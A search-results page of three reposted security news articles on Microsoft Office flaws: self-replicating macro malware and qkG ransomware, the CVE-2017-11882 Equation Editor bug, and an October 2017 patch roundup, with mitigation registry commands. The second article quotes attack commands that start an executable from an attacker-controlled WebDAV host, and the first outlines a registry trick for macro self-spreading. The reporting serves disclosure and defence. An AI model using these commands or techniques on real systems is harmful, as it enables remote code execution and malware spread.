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Found 3 results

  1. Earlier this month a cybersecurity researcher shared details of a security loophole with The Hacker News that affects all versions of Microsoft Office, allowing malicious actors to create and spread macro-based self-replicating malware. Macro-based self-replicating malware, which basically allows a macro to write more macros, is not new among hackers, but to prevent such threats, Microsoft has already introduced a security mechanism in MS Office that by default limits this functionality. Lino Antonio Buono, an Italian security researcher who works at InTheCyber, reported a simple technique (detailed below) that could allow anyone to bypass the security control put in place by Microsoft and create self-replicating malware hidden behind innocent-looking MS Word documents. What's Worse? Microsoft refused to consider this issue a security loophole when contacted by the researcher in October this year, saying it's a feature intended to work this way only—just like MS Office DDE feature, which is now actively being used by hackers. New 'qkG Ransomware' Found Using Same Self-Spreading Technique Interestingly, one such malware is on its way to affect you. I know, that was fast—even before its public disclosure. Just yesterday, Trend Micro published a report on a new piece of macro-based self-replicating ransomware, dubbed "qkG," which exploits exactly the same MS office feature that Buono described to our team. Trend Micro researchers spotted qkG ransomware samples on VirusTotal uploaded by someone from Vietnam, and they said this ransomware looks "more of an experimental project or a proof of concept (PoC) rather than a malware actively used in the wild." The qkG ransomware employs Auto Close VBA macro—a technique that allows executing malicious macro when victim closes the document. The latest sample of qkG ransomware now includes a Bitcoin address with a small ransom note demanding $300 in BTC as shown. It should be noted that the above-mentioned Bitcoin address hasn't received any payment yet, which apparently means that this ransomware has not yet been used to target people. Moreover, this ransomware is currently using the same hard-coded password: "I’m QkG@PTM17! by TNA@MHT-TT2" that unlocks affected files. Here's How this New Attack Technique Works In order to make us understand the complete attack technique, Buono shared a video with The Hacker News that demonstrates how an MS Word document equipped with malicious VBA code could be used to deliver a self-replicating multi-stage malware. If you are unaware, Microsoft has disabled external (or untrusted) macros by default and to restrict default programmatic access to Office VBA project object model, it also offers users to manually enable "Trust access to the VBA project object model," whenever required. With "Trust access to the VBA project object model" setting enabled, MS Office trusts all macros and automatically runs any code without showing security warning or requiring user's permission. Buono found that this setting can be enabled/disabled just by editing a Windows registry, eventually enabling the macros to write more macros without user's consent and knowledge. As shown in the video, a malicious MS Doc file created by Buono does the same—it first edits the Windows registry and then injects same macro payload (VBA code) into every doc file that the victim creates, edits or just opens on his/her system. Victims Will be Unknowingly Responsible for Spreading Malware Further In other words, if the victim mistakenly allows the malicious doc file to run macros once, his/her system would remain open to macro-based attacks. Moreover, the victim will also be unknowingly responsible for spreading the same malicious code to other users by sharing any infected office files from his/her system. This attack technique could be more worrisome when you receive a malicious doc file from a trusted contact who have already been infected with such malware, eventually turning you into its next attack vector for others. Although this technique is not being exploited in the wild, the researcher believes it could be exploited to spread dangerous self-replicating malware that could be difficult to deal with and put an end. Since this is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code, neither the tech company has any plans of issuing a patch that would restrict this functionality. Buono suggests "In order to (partially) mitigate the vulnerability it is possible to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator." The best way to protect yourself from such malware is always to be suspicious of any uninvited documents sent via an email and never click on links inside those documents unless adequately verifying the source. Via thehackernews.com
  2. You should be extra careful when opening files in MS Office. When the world is still dealing with the threat of 'unpatched' Microsoft Office's built-in DDE feature, researchers have uncovered a serious issue with another Office component that could allow attackers to remotely install malware on targeted computers. The vulnerability is a memory-corruption issue that resides in all versions of Microsoft Office released in the past 17 years, including Microsoft Office 365, and works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update. Discovered by the security researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote attacker to execute malicious code on a targeted system without requiring user interaction after opening a malicious document. The vulnerability, identified as CVE-2017-11882, resides in EQNEDT32.EXE, an MS Office component which is responsible for insertion and editing of equations (OLE objects) in documents. However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user. Seventeen years ago, EQNEDT32.EXE was introduced in Microsoft Office 2000 and had been kept in all versions released after Microsoft Office 2007 in order to ensure the software remains compatible with documents of older versions. DEMO: Exploitation Allows Full System Take Over Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software. This vulnerability could be exploited to take complete control over a system when combined with Windows Kernel privilege escalation exploits (like CVE-2017-11847). Possible Attack Scenario: While explaining the scope of the vulnerability, Embedi researchers suggested several attack scenarios listed below: "By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it)." "One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker." "Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient." "After that, an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service." Protection Against Microsoft Office Vulnerability With this month's Patch release, Microsoft has addressed this vulnerability by changing how the affected software handles objects in memory. So, users are strongly recommended to apply November security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers. Since this component has a number of security issues which can be easily exploited, disabling it could be the best way to ensure your system security. Users can run the following command in the command prompt to disable registering of the component in Windows registry: reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400 For 32-bit Microsoft Office package in x64 OS, run the following command: reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400 Besides this, users should also enable Protected View (Microsoft Office sandbox) to prevent active content execution (OLE/ActiveX/Macro). Via thehackernews.com
  3. As part of its "October Patch Tuesday," Microsoft has today released a large batch of security updates to patch a total of 62 vulnerabilities in its products, including a severe MS office zero-day flaw that has been exploited in the wild. Security updates also include patches for Microsoft Windows operating systems, Internet Explorer, Microsoft Edge, Skype, Microsoft Lync and Microsoft SharePoint Server. Besides the MS Office vulnerability, the company has also addressed two other publicly disclosed (but not yet targeted in the wild) vulnerabilities that affect the SharePoint Server and the Windows Subsystem for Linux. October patch Tuesday also fixes a critical Windows DNS vulnerability that could be exploited by a malicious DNS server to execute arbitrary code on the targeted system. Below you can find a brief technical explanation of all above mentioned critical and important vulnerabilities. Microsoft Office Memory Corruption Vulnerability (CVE-2017-11826) This vulnerability, classified by Microsoft as "important," is caused by a memory corruption issue. It affects all supported versions of MS Office and has been actively exploited by the attackers in targeted attacks. An attacker could exploit this vulnerability either by sending a specially crafted Microsoft Office file to the victims and convincing them to open it, or hosting a site containing specially crafted files and tricking victims to visit it. Once opened, the malicious code within the booby-trapped Office file will execute with the same rights as the logged-in user. So, users with least privilege on their systems are less impacted than those having higher admin rights. The vulnerability was reported to Microsoft by security researchers at China-based security firm Qihoo 360 Core Security, who initially detected an in-the-wild cyber attack which involved malicious RTF files and leveraged this vulnerability on September 28. Microsoft Windows DNSAPI Remote Code Execution Vulnerability (CVE-2017-11779) Among other critical vulnerabilities patched by Microsoft include a critical remote code execution flaw in the Windows DNS client that affects computers running Windows 8.1 and Windows 10, and Windows Server 2012 through 2016. The vulnerability can be triggered by a malicious DNS response, allowing an attacker gain arbitrary code execution on Windows clients or Windows Server installations in the context of the software application that made the DNS request. Nick Freeman, a security researcher from security firm Bishop Fox, discovered the vulnerability and demonstrated how an attacker connected to a public Wi-Fi network could run malicious code on a victim's machine, escalate privileges and take full control over the target computer or server. Windows Subsystem for Linux Denial of Service Vulnerability (CVE-2017-8703) This denial of service (DoS) issue is yet another noteworthy vulnerability which resides in Windows Subsystem for Linux. The vulnerability, classified by Microsoft as "important," was previously publicly disclosed, but wasn't found actively exploited in the wild. The vulnerability could allow an attacker to execute a malicious application to affect an object in the memory, which eventually allows that the application to crash the target system and made it unresponsive. Microsoft Office SharePoint XSS Vulnerability (CVE-2017-11777) Another previously disclosed but not yet under attack vulnerability is a cross-site scripting (XSS) flaw in Microsoft SharePoint Server that affects SharePoint Enterprise Server 2013 Service Pack 1 and SharePoint Enterprise Server 2016. The vulnerability, also classified by Microsoft as "important," can be exploited by sending a maliciously crafted request to an affected SharePoint server. Successful exploitation of this vulnerability could allow an attacker to perform cross-site scripting attacks on affected systems and execute malicious script in the same security context of the current user. Besides these, the company has patched a total of 19 vulnerabilities in the scripting engine in Edge and Internet Explorer that could allow web pages to achieve remote-code execution, with the logged-in user's permissions, via memory corruption flaws. Just opening a web page could potentially land you in trouble by executing malware, spyware, ransomware, and other nasty software on the vulnerable computer. More RCE And Other Vulnerabilities Redmond also patched two vulnerabilities in the Windows font library that can allow a web page or document to execute malicious code on a vulnerable machine and hijack it on opening a file with a specially crafted embedded font or visiting a website hosting the malicious file. The update also includes fixes for a bug in Windows TRIE (CVE-2017-11769) that allows DLL files to achieve remote code execution, a programming error (CVE-2017-11776) in Outlook that leaves its emails open to snooping over supposedly secure connections. Other issues patched this month include two remote code execution flaws in the Windows Shell and a remote code execution bug in Windows Search. Microsoft also published an advisory warning user of a security feature bypass issue affecting the firmware of Infineon Trusted Platform Modules (TPMs). Surprisingly, Adobe Flash does not include any security patches. Meanwhile, Adobe has skipped October's Patch Tuesday altogether. Users are strongly advised to apply October security patches as soon as possible in order to keep hackers and cybercriminals away from taking control over their computers. For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually. Via thehackernews.com
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